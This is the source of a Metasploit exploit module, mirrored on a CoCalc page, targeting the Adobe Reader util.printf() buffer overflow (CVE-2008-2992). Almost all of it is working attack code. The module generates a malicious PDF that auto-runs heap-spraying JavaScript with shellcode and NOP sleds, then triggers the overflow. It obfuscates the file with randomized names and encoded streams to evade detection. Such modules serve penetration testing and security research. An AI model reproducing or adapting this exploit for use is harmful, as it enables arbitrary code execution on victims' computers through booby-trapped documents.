CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_utilprintf.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe util.printf() Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
18
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
19
entry, an attacker may be able to execute arbitrary code.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
23
'References' =>
24
[
25
[ 'CVE', '2008-2992' ],
26
[ 'OSVDB', '49520' ]
27
],
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
'DisablePayloadHandler' => true
32
},
33
'Payload' =>
34
{
35
'Space' => 1024,
36
'BadChars' => "\x00",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
42
],
43
'DisclosureDate' => '2008-02-08',
44
'DefaultTarget' => 0))
45
46
register_options(
47
[
48
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
49
])
50
end
51
52
def exploit
53
# Encode the shellcode.
54
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
55
56
# Make some nops
57
nops = Rex::Text.to_unescape(make_nops(4))
58
59
# Randomize variables
60
rand1 = rand_text_alpha(rand(100) + 1)
61
rand2 = rand_text_alpha(rand(100) + 1)
62
rand3 = rand_text_alpha(rand(100) + 1)
63
rand4 = rand_text_alpha(rand(100) + 1)
64
rand5 = rand_text_alpha(rand(100) + 1)
65
rand6 = rand_text_alpha(rand(100) + 1)
66
rand7 = rand_text_alpha(rand(100) + 1)
67
rand8 = rand_text_alpha(rand(100) + 1)
68
rand9 = rand_text_alpha(rand(100) + 1)
69
rand10 = rand_text_alpha(rand(100) + 1)
70
rand11 = rand_text_alpha(rand(100) + 1)
71
72
script = %Q|
73
var #{rand1} = unescape("#{shellcode}");
74
var #{rand2} ="";
75
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
76
#{rand4} = #{rand2} + #{rand1};
77
#{rand5} = unescape("#{nops}");
78
#{rand6} = 20;
79
#{rand7} = #{rand6}+#{rand4}.length
80
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
81
#{rand8} = #{rand5}.substring(0, #{rand7});
82
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
83
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
84
#{rand10} = new Array();
85
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
86
util.printf("%45000.45000f", 0);
87
|
88
89
# Create the pdf
90
pdf = make_pdf(script)
91
92
print_status("Creating '#{datastore['FILENAME']}' file...")
93
94
file_create(pdf)
95
end
96
97
def random_non_ascii_string(count)
98
result = ""
99
count.times do
100
result << (rand(128) + 128).chr
101
end
102
result
103
end
104
105
def io_def(id)
106
"%d 0 obj" % id
107
end
108
109
def io_ref(id)
110
"%d 0 R" % id
111
end
112
113
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
114
def n_obfu(str)
115
result = ""
116
str.scan(/./u) do |c|
117
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
118
result << "#%x" % c.unpack("C*")[0]
119
else
120
result << c
121
end
122
end
123
result
124
end
125
126
def ascii_hex_whitespace_encode(str)
127
result = ""
128
whitespace = ""
129
str.each_byte do |b|
130
result << whitespace << "%02x" % b
131
whitespace = " " * (rand(3) + 1)
132
end
133
result << ">"
134
end
135
136
def make_pdf(js)
137
138
xref = []
139
eol = "\x0d\x0a"
140
endobj = "endobj" << eol
141
142
# Randomize PDF version?
143
pdf = "%PDF-1.5" << eol
144
pdf << "%" << random_non_ascii_string(4) << eol
145
xref << pdf.length
146
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
147
xref << pdf.length
148
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
149
xref << pdf.length
150
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
151
xref << pdf.length
152
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
153
xref << pdf.length
154
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
155
xref << pdf.length
156
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
157
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
158
pdf << "stream" << eol
159
pdf << compressed << eol
160
pdf << "endstream" << eol
161
pdf << endobj
162
xrefPosition = pdf.length
163
pdf << "xref" << eol
164
pdf << "0 %d" % (xref.length + 1) << eol
165
pdf << "0000000000 65535 f" << eol
166
xref.each do |index|
167
pdf << "%010d 00000 n" % index << eol
168
end
169
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
170
pdf << "startxref" << eol
171
pdf << xrefPosition.to_s() << eol
172
pdf << "%%EOF" << eol
173
174
end
175
end
176
177